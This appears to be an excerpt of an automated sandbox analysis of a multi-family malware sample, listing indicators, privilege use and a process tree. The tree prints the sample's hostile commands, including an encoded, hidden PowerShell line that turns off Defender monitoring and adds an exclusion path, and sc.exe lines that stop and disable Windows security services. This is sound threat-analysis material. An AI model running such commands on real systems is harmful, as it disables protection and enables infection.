pid Process 2060 chrome.exe 2060 chrome.exe 2484 powershell.exe 2484 powershell.exe 2484 powershell.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2060 chrome.exe Token: SeCreatePagefilePrivilege 2060 chrome.exe Token: SeIncreaseQuotaPrivilege 2544 WMIC.exe Token: SeSecurityPrivilege 2544 WMIC.exe Token: SeTakeOwnershipPrivilege 2544 WMIC.exe Token: SeLoadDriverPrivilege 2544 WMIC.exe Token: SeSystemProfilePrivilege 2544 WMIC.exe Token: SeSystemtimePrivilege 2544 WMIC.exe Token: SeProfSingleProcessPrivilege 2544 WMIC.exe Token: SeIncBasePriorityPrivilege 2544 WMIC.exe Token: SeCreatePagefilePrivilege 2544 WMIC.exe Token: SeBackupPrivilege 2544 WMIC.exe Token: SeRestorePrivilege 2544 WMIC.exe Token: SeShutdownPrivilege 2544 WMIC.exe Token: SeDebugPrivilege 2544 WMIC.exe Token: SeSystemEnvironmentPrivilege 2544 WMIC.exe Token: SeRemoteShutdownPrivilege 2544 WMIC.exe Token: SeUndockPrivilege 2544 WMIC.exe Token: SeManageVolumePrivilege 2544 WMIC.exe Token: 33 2544 WMIC.exe Token: 34 2544 WMIC.exe Token: 35 2544 WMIC.exe Token: 36 2544 WMIC.exe Token: SeDebugPrivilege 2484 powershell.exe Token: SeShutdownPrivilege 2060 chrome.exe Token: SeCreatePagefilePrivilege 2060 chrome.exe Token: SeBackupPrivilege 3060 vssvc.exe Token: SeRestorePrivilege 3060 vssvc.exe Token: SeAuditPrivilege 3060 vssvc.exe Token: SeIncreaseQuotaPrivilege 2544 WMIC.exe Token: SeSecurityPrivilege 2544 WMIC.exe Token: SeTakeOwnershipPrivilege 2544 WMIC.exe Token: SeLoadDriverPrivilege 2544 WMIC.exe Token: SeSystemProfilePrivilege 2544 WMIC.exe Token: SeSystemtimePrivilege 2544 WMIC.exe Token: SeProfSingleProcessPrivilege 2544 WMIC.exe Token: SeIncBasePriorityPrivilege 2544 WMIC.exe Token: SeCreatePagefilePrivilege 2544 WMIC.exe Token: SeBackupPrivilege 2544 WMIC.exe Token: SeRestorePrivilege 2544 WMIC.exe Token: SeShutdownPrivilege 2544 WMIC.exe Token: SeDebugPrivilege 2544 WMIC.exe Token: SeSystemEnvironmentPrivilege 2544 WMIC.exe Token: SeRemoteShutdownPrivilege 2544 WMIC.exe Token: SeUndockPrivilege 2544 WMIC.exe Token: SeManageVolumePrivilege 2544 WMIC.exe Token: 33 2544 WMIC.exe Token: 34 2544 WMIC.exe Token: 35 2544 WMIC.exe Token: 36 2544 WMIC.exe Token: SeShutdownPrivilege 2060 chrome.exe Token: SeCreatePagefilePrivilege 2060 chrome.exe Token: SeShutdownPrivilege 2060 chrome.exe Token: SeCreatePagefilePrivilege 2060 chrome.exe Token: SeDebugPrivilege 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 2060 chrome.exe Token: SeCreatePagefilePrivilege 2060 chrome.exe Token: SeShutdownPrivilege 2060 chrome.exe Token: SeCreatePagefilePrivilege 2060 chrome.exe Token: SeShutdownPrivilege 2060 chrome.exe Token: SeCreatePagefilePrivilege 2060 chrome.exe Token: SeIncBasePriorityPrivilege 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeDebugPrivilege 5588 tasklist.exe Token: SeDebugPrivilege 5640 whoami.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe 2060 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1868 wrote to memory of 2060 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 87 PID 2060 wrote to memory of 2040 2060 chrome.exe 88 PID 1868 wrote to memory of 2484 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 165 PID 1868 wrote to memory of 2884 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 90 PID 1868 wrote to memory of 3860 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 92 PID 1868 wrote to memory of 940 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 94 PID 1868 wrote to memory of 2492 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 96 PID 1868 wrote to memory of 4180 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 98 PID 1868 wrote to memory of 472 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 101 PID 1868 wrote to memory of 5016 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 103 PID 1868 wrote to memory of 4836 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 105 PID 1868 wrote to memory of 4004 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 107 PID 2060 wrote to memory of 4400 2060 chrome.exe 108 PID 2060 wrote to memory of 4400 2060 chrome.exe 108 PID 1868 wrote to memory of 3108 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 109 PID 2060 wrote to memory of 204 2060 chrome.exe 110 PID 2060 wrote to memory of 3368 2060 chrome.exe 111 PID 2060 wrote to memory of 3368 2060 chrome.exe 111 PID 2060 wrote to memory of 3952 2060 chrome.exe 114 PID 2060 wrote to memory of 1476 2060 chrome.exe 115 PID 2060 wrote to memory of 3952 2060 chrome.exe 114 PID 2060 wrote to memory of 1476 2060 chrome.exe 115 PID 2060 wrote to memory of 1680 2060 chrome.exe 116 PID 2060 wrote to memory of 1680 2060 chrome.exe 116 PID 1868 wrote to memory of 5040 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 117 PID 1868 wrote to memory of 3400 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 119 PID 1868 wrote to memory of 2544 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 121 PID 4004 wrote to memory of 2188 4004 fodhelper.exe 122 PID 2060 wrote to memory of 1496 2060 chrome.exe 125 PID 2060 wrote to memory of 1496 2060 chrome.exe 125 PID 1868 wrote to memory of 5644 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 129 PID 1868 wrote to memory of 1180 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 1868 wrote to memory of 3452 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 132 PID 1868 wrote to memory of 5412 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 1868 wrote to memory of 5288 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 1868 wrote to memory of 5320 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 1868 wrote to memory of 5628 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 1868 wrote to memory of 5368 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 142 PID 1868 wrote to memory of 5380 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 143 PID 1868 wrote to memory of 5388 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 144 PID 1868 wrote to memory of 5404 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 145 PID 1868 wrote to memory of 5436 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 146 PID 1868 wrote to memory of 5740 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 154 PID 5412 wrote to memory of 5836 5412 cmd.exe 155 PID 5628 wrote to memory of 5588 5628 cmd.exe 156 PID 5388 wrote to memory of 5632 5388 cmd.exe 157 PID 5368 wrote to memory of 5640 5368 cmd.exe 158 PID 5320 wrote to memory of 5708 5320 cmd.exe 159 PID 5404 wrote to memory of 5848 5404 cmd.exe 160 PID 5380 wrote to memory of 6016 5380 cmd.exe 161 PID 6016 wrote to memory of 5808 6016 net.exe 162 PID 5412 wrote to memory of 4968 5412 cmd.exe 163 PID 1868 wrote to memory of 5968 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 164 PID 1868 wrote to memory of 2868 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 166 PID 1868 wrote to memory of 6076 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 168 PID 1868 wrote to memory of 2908 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 169 PID 1868 wrote to memory of 2684 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 171 PID 1868 wrote to memory of 2224 1868 2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe 173 PID 6076 wrote to memory of 4892 6076 net.exe 176 PID 2060 wrote to memory of 5092 2060 chrome.exe 179 PID 2060 wrote to memory of 292 2060 chrome.exe 195 PID 2060 wrote to memory of 5540 2060 chrome.exe 196 PID 2060 wrote to memory of 5448 2060 chrome.exe 197 PID 2060 wrote to memory of 4304 2060 chrome.exe 212 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-23_f2342328fc788452ee40db062ffac4c8_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://president-thai.com2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff3d58c728,0x7fff3d58c734,0x7fff3d58c7403⤵PID:2040
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1660,i,14609712628837456240,9301177231882631500,262144 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2004 /prefetch:23⤵PID:4400
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,3762595484355189079,12309930402700036891,524288 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2256 /prefetch:33⤵
- System Time Discovery
PID:204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,4229163840900342730,15289224026999993510,524288 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2424 /prefetch:83⤵PID:3368
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3112,i,13816184935014396865,11687809719057534445,2097152 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3260 /prefetch:13⤵PID:3952
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3124,i,1843242560461741783,5291005986151121967,2097152 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3280 /prefetch:13⤵PID:1476
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4080,i,15985948280625630066,13473146734135341697,2097152 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4104 /prefetch:23⤵PID:1680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4672,i,1810235123732246891,16639613856872351458,2097152 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4688 /prefetch:13⤵PID:1496
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5480,i,3077142855792508058,17366752474720221506,524288 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5424 /prefetch:83⤵PID:5092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=208,i,784858514307403233,17846848170148412825,524288 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5652 /prefetch:83⤵PID:292
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5600,i,3638950328420262152,5476809763218094825,524288 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5632 /prefetch:83⤵PID:5540
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5488,i,15511046928574106536,8982725937833361393,524288 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5672 /prefetch:83⤵PID:5448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5548,i,1802182351650546073,345495334193549751,262144 --field-trial-handle=2008,i,12537557276276016481,4155751479595097353,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5620 /prefetch:83⤵PID:4304
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2884
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3860
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:940
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2492
-
